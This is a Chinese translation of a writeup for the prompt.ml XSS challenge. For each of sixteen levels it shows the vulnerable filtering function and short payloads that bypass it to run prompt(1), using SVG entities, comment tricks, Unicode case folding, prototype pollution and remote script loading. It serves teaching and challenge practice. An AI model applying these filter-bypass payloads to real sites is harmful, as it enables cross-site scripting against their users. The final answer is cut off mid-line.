xss挑战赛writeup

转载

weixin_34014555 于 2018-03-08 10:52:14 发布 149 收藏
文章标签： javascript json 区块链 ViewUI
原文链接：https://juejin.im/post/5aa115dd5188255568685075

> 西门吹雪 · 2014/09/22 12:30

挑战地址：prompt.ml/0

from:github.com/cure53/xss-…

规则：

1. 成功执行 `prompt(1)`
2. payload不需要用户交互
3. payload必须对下述浏览器有效：

- Chrome(最新版) - Firefox(最新版) - IE10 及以上版本(或者IE10兼容模式) 4. 每个级别至少给出两种浏览器的答案 5. 字符越少越好

Level 0

代码

```
#!js
function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}
复制代码
```

答案

```
#!html
"><svg/onload=prompt(1)>
复制代码
```

这个payload 24个字符。还有一个比较不常用的技巧，在IE10下，当页面第一次加载时，会调用`resize`事件，这个payload只有20个字符

```
#!js
"onresize=prompt(1)>
复制代码
```

背景知识

`resize`事件在IE10及以下版本有效，IE11没有用。并且不需要用户交互。 更多信息：msdn.microsoft.com/en-us/libra…

Level 1

该级别实际是简单的过滤了>，需要绕过以下即可。

代码

```
#!js
function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}
复制代码
```

答案

```
#!html
<svg/onload=prompt(1)
复制代码
```

注:译者使用js改版sectest.sinaapp.com/xss/level1….,测试答案为

```
#!html
<svg/onload=prompt(1)//
复制代码
```

Level 2

该级别过滤了=、(两种符号。

代码

```
#!js
function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}
复制代码
```

答案

Firefox 和IE下的答案(29个字符)

```
#!html
<svg><script>prompt&#40;1)<b>
复制代码
```

Chrome下需要script闭合标签，所以上述payload不成功。最短的答案如下(35个字符)

```
#!html
<svg><script>prompt&#40;1)</script>
复制代码
```

未来所有的浏览器支持ES6，还可以使用下述编码：

```
#!html
<script>eval.call`${'prompt\x281)'}`</script>
复制代码
```

或者

```
#!html
<script>eval.call`${'prompt\x281)'}`</script>
复制代码
```

背景知识

由于xml编码特性。在SVG向量里面的`<script>`元素（或者其他CDATA元素 ），会先进行xml解析。因此`&#x28`（十六进制）或者`&#40`（十进制）或者`&lpar;`（html实体编码）会被还原成（。

Level 3

过滤了`-->`。但是2012已经公布，html5的注释标签不仅可以使用`-->`，还可以使用`--!>`。

代码

```
#!js
function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}
复制代码
```

25个字符通杀三个浏览器如下：

```
#!html
--!><svg/onload=prompt(1)
复制代码
```

Level 4

这个题目是利用url的特性绕过，浏览器支持这样的url：
http://user:`http://user:[email protected]`是不允许的。由于这里的正则特性和`decodeURIComponent`函数，所以可以使用`%2f`绕过，如下：`http:[email protected]`。所以域名越短，答案就越短。

代码

```
#!js
function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}
复制代码
```

答案

```
[email protected]/✌
复制代码
```

Level 5

过滤了`>`，过滤了`onXXX=`，过滤了`focus`，所以不能使用`autofocus`。但是可以使用js的换行`\n`绕过`onXXX=`，IE下依然可以使用`onresize`

代码

```
#!js
function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}
复制代码
```

答案： 一种答案是，可以提交设置`type`为`image`，后面的`type`不能覆盖前面的设置。

```
#!js
"type=image src onerror
="prompt(1)
复制代码
```

IE下可以使用更短的答案：

```
#!js
"onresize
="prompt(1)
复制代码
```

Level 6

虽然有过滤，但是可以将输入插入到form表单的`action`中。

代码

```
#!js
function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                          \n\
<script>                                                   \n\
    // forbid javascript: or vbscript: and data: stuff     \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                        \n\
    else                                                   \n\
        document.write("Action forbidden.")                \n\
</script>                                                  \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}
复制代码
```

答案

33个字符

```
#!js
javascript:prompt(1)#{"action":1}
复制代码
```

IE下可以使用vbscript减少字符

```
#!js
vbscript:prompt(1)#{"action":1}
复制代码
```

Level 7

可以使用js注释绕过。如下：

```
#!html
<p class="comment" title=""><svg/a=""></p>
<p class="comment" title=""onload='/*""></p>
<p class="comment" title="*/prompt(1)'""></p>
复制代码
```

代码

```
#!js
function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}
复制代码
```

答案

34个字符：

```
#!html
"><svg/a=#"onload='/*#*/prompt(1)'
复制代码
```

IE下31个字符

```
#!html
"><script x=#"async=#"src="//⒛㏋


<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛㏋"></p>
复制代码
```

背景知识

小技巧：IE下可以使用##async##来加载不需要闭合的script文件。如下：

```
#!html
<script src="test.js" async>
复制代码
```

Level 8

这题使用的两个技巧

`<LS>`是U+2028，是Unicode中的行分隔符。

`<PS>`是U+2029，是Unicode中的段落分隔符。

另外`-->`，也可以在js中当注释使用，资料：javascript.spec.whatwg.org/#comment-sy…，因此我们构造答案如下：

```
#!html
<script>
// console.log("
prompt(1)
-->");
</script>
复制代码
```

代码

```
#!js
function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}
复制代码
```

答案

Chrome和Firefox下 14个字符

```
#!js
[U+2028]prompt(1)[U+2028]-->
复制代码
```

背景知识

比较奇怪的是，js中的换行符跟unicode中的不一致。另外，HTML代码的注释可以在Javascript中使用

Level 9

该题使用正则`<([a-zA-Z])`，导致无法注入HTML标签。但是toUpperCase()函数是支持Unicode函数。字符`ſ`经过函数toUpperCase()处理后，会变成ASCII码字符"S"。

代码

```
#!js
function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
}
复制代码
```

答案

26个字符通杀浏览器的答案

```
#!html
<ſcript/ſrc=//14.₨></ſcript>
复制代码
```

或者使用async

```
#!html
<ſcript/async/src=//20.₨>
复制代码
```

Level 10

这个题目使用两个正则过滤。比较容易

代码

```
#!js
function escape(input) {
    // (ノ°□°)ノ ︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬  ノ(  °- °ノ) chill out bro
    input = input.replace(/'/g, '');

    // (ノ°□°)ノ ︵ /(.□. \) DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}
复制代码
```

答案

```
#!js
p'rompt(1)
复制代码
```

Level 11

这个题目直接允许注入数据到script标签里面，但是过滤了特殊符号。这里的技巧是使用一个数据或者字母拥有操作符的功能，就是in

代码

```
#!js
function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}
复制代码
```

答案

```
#!js
"(prompt(1))in"


<script>
    var data = {"action":"login","message":"Welcome back, "(prompt(1))in"."};
    if (data.action === "login")
        document.write(data.message)
</script>
复制代码
```

背景知识

`"test"(alert(1))`虽然会提示语法错误， 但是还是会执行js语句。类似的`alert(1)in"test"`也是一样。可以在控制台下使用F12执行

Level 12

该题主要是利用toString()解答。eval可以直接执行字符串。如下：

```
#!js
parseInt("prompt",36); //1558153217
复制代码
```

因此，

可以使用`eval((1558153217).toString(36))(1)`

还可以`eval(1558153217..toString(36))(1)`

还可以`eval(630038579..toString(30))(1)`

代码

```
#!js
function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}
复制代码
```

答案

32个字符通杀所有浏览器

```
#!js
eval(630038579..toString(30))(1)

// Hexadecimal alternative (630038579 == 0x258da033):
eval(0x258da033.toString(30))(1)
复制代码
```

还有一种比较暴力的方法是，通过循环执行self里面的函数，来查找prompt执行(firfox下测试有效)

```
#!js
for((i)in(self))eval(i)(1)
复制代码
```

Level 13

这个题目涉及到js中的`__proto__`，每个对象都会在其内部初始化一个属性，就是`__proto__`，当我们访问对象的属性时，如果对象内部不存在这个属性，那么就会去`__proto__`里面找这个属性，这个`__proto__`又会有自己的`__proto__`，一直这样找下去。可以再Chrome控制台中测试：

```
#!js
config = {
    "source": "_-_invalid-URL_-_",
    "__proto__": {
        "source": "my_evil_payload"
    }
}
复制代码
```

输入

```
#!js
delete config.source
config.source
复制代码
```

返回

```
my_evil_payload
复制代码
```

还有一个技巧是，replace()这个函数，他还接受一些特殊的匹配模式developer.mozilla.org/en-US/docs/… 翻译如下：

```
$` 替换查找的字符串，并且在头部加上比配位置前的字符串部分
复制代码
```

举个例子就是：

```
'123456'.replace('34','$`xss')
复制代码
```

返回

```
'1212xss56'
复制代码
```

代码

```
#!js
function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources)
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}
复制代码
```

答案

59个字符，通杀所有浏览器

```
#!js
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}
复制代码
```

Level 14

这个题目使用base64绕过。

代码

```
#!js
function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');
    return '<img src="' + input + '">';
}
复制代码
```

答案

firfox下94个字符

```
#!html
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
复制代码
```

IE下

```
#!html
"><script/async/src="//20.Rs


<img src=""><SCRIPT/ASYNC/SRC="//20.Rs">
复制代码
```

背景知识

这里再次使用了Unicode字符绕过。

Level 15

过滤了,*所以不能使用js注释*，但是前面也提到了，html里面的<!--,-->同样可以在js中使用，如下

```
#!html
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>
复制代码
```

代码

```
#!js
function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'
    }).join('\n');
}
复制代码
```

答案

57个字符

```
#!html
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
复制代码
```

在Firefox和IE下，`</script>`不需要，可以减少到42个字符

```
#!html
"><svg><!--#--><script><!--#-->prompt(1)</
复制代码
```

在最新的Firefox Aurora版本上，还可以如下（译者未测试）：

```
#!html
"><script>`#${prompt(1)}#`</script>
复制代码
```

Hidden Level

这里主要使用了两个非常有用的技巧，第一个是javascript的变量提升，以下语法可以在chrome下F12执行

```
#!js
function functionDeclaration(a,b,c) {
    alert('Function declared with ' + functionDeclaration.length + ' parameters');
}


functionDeclaration(); //alert > Function declared with 3 parameters
复制代码
```

还有一个技巧就是第13题提到的`replace()`的匹配技巧，使用`$&`，测试如下：

```
'123456'.replace('34','$&x')

'1234x56'   //x 直接插入到 查找到的 34位置
复制代码
```

所以可以构造下面的代码

```
#!js
if (history.length > 1337) {
   // you can inject any code here
   // as long as it will be executed
   function history(l,o,r,e,m...1338 times...){{injection}}
   prompt(1)
}
复制代码
```

code

```
#!js
function escape(input) {
    // WORLD -1
    // strip off certain characters from breaking conditional statement
    input = input.replace(/[}<]/g, '');
    return '                                                    \n\
<script>                                                        \n\
    if (history.length > 1337) {                                \n\
        // you can inject any code here                         \n\
        // as long as it will be executed                       \n\
        {{injection}}                                           \n\
    }                                                           \n\
</script>                                                       \n\
    '.replace('{{injection}}', input);
}
复制代码
```

答案

总共2704个字母

```
#!js
function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,
复制代码
```